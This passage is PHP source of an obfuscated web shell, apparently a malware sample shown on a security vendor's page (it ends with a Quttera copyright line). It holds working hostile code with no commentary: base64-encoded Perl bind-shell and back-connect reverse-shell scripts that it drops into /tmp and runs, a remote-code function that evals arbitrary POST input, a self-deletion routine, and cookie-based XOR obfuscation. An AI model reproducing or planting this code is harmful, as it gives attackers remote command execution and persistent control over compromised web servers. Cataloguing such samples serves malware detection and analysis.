echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
echo '</form></div><script>d.cf.cmd.focus();</script>';
dwwjftd();
}
function actionLogout() {
setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
die('bye!');
}
function actionSelfRemove() {
if ($_POST['pvqfor'] == 'yes') {
if (@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__))) {
die('Shell has been removed');
} else {
echo 'unlink error!';
}
}
if ($_POST['pvqfor'] != 'yes') {
ntqkrfqeh();
}
echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
dwwjftd();
}
function actionNetwork() {
ntqkrfqeh();
$lznhntifzhg = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
$chlxxv = "IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
echo "<h1>Network tools</h1><div class=content>
<form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
<span>Bind port to /bin/sh [perl]</span><br/>
Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
</form>
<form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
<span>Back-connect [perl]</span><br/>
Server: <input type='text' name='server' value='" . $_SERVER['REMOTE_ADDR'] . "'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
</form><br>";
if (isset($_POST['pvqfor'])) {
function upucptned($nzgmvekwz, $lpwwmo) {
$mramsdxqxfzj = @fopen($nzgmvekwz, "w") or @function_exists('file_put_contents');
if ($mramsdxqxfzj) {
@fwrite($mramsdxqxfzj, @base64_decode($lpwwmo));
@fclose($mramsdxqxfzj);
}
}
if ($_POST['pvqfor'] == 'bpp') {
upucptned("/tmp/bp.pl", $chlxxv);
$buwvtnuba = ksuyz("perl /tmp/bp.pl " . $_POST['qbfo'] . " 1>/dev/null 2>&1 &");
sleep(1);
echo "<pre class=ml1>$buwvtnuba\n" . ksuyz("ps aux | grep bp.pl") . "</pre>";
unlink("/tmp/bp.pl");
}
if ($_POST['pvqfor'] == 'bcp') {
upucptned("/tmp/bc.pl", $lznhntifzhg);
$buwvtnuba = ksuyz("perl /tmp/bc.pl " . $_POST['qbfo'] . " " . $_POST['jzgyx'] . " 1>/dev/null 2>&1 &");
sleep(1);
echo "<pre class=ml1>$buwvtnuba\n" . ksuyz("ps aux | grep bc.pl") . "</pre>";
unlink("/tmp/bc.pl");
}
}
echo '</div>';
dwwjftd();
}
function actionRC() {
if (!@$_POST['pvqfor']) {
$bwiemuft = array(
"uname" => php_uname(),
"php_version" => phpversion(),
"safemode" => @ini_get('safe_mode')
);
echo serialize($bwiemuft);
} else {
eval($_POST['pvqfor']);
}
}
function uwfkvlizh($mnbwvdjapgv) {
return yezgi($mnbwvdjapgv, $_COOKIE[md5($_SERVER['HTTP_HOST']) . "csfse"]);
}
function yezgi($vuwfbk, $gdzlwdegecb) {
if (!$gdzlwdegecb) {
return null;
}
$vuwfbk = base64_encode($vuwfbk);
$gdzlwdegecb = base64_encode($gdzlwdegecb);
$wsnipjcgqqlz = '';
$sqltuz = '';
$yfqqez = 0;
while ($yfqqez < mb_strlen($vuwfbk)) {
for ($tltevxry = 0; $tltevxry < mb_strlen($gdzlwdegecb); $tltevxry++) {
$wsnipjcgqqlz = aczaet($vuwfbk, $yfqqez) ^ aczaet($gdzlwdegecb, $tltevxry);
$sqltuz .= chr($wsnipjcgqqlz);
$yfqqez++;
if ($yfqqez >= mb_strlen($vuwfbk)) {
break;
}
}
}
return base64_encode($sqltuz);
}
function aczaet($cthnli, $thywpnrea) {
$xstqzhiz = mb_substr($cthnli, $thywpnrea, 1, 'UTF-8');
if (mb_check_encoding($xstqzhiz, 'UTF-8')) {
$rxnzjno = mb_convert_encoding($xstqzhiz, 'UTF-32BE', 'UTF-8');
return hexdec(bin2hex($rxnzjno));
} else {
return null;
}
}
if (empty($_POST['tnfcm'])) {
if (isset($slmlvystah) && function_exists('action' . $slmlvystah)) {
$_POST['tnfcm'] = $slmlvystah;
} else {
$_POST['tnfcm'] = 'SecInfo';
}
}
if (!empty($_POST['tnfcm']) && function_exists('action' . $_POST['tnfcm'])) {
call_user_func('action' . $_POST['tnfcm']);
}
exit;
© 2023 Quttera Ltd. All rights reserved.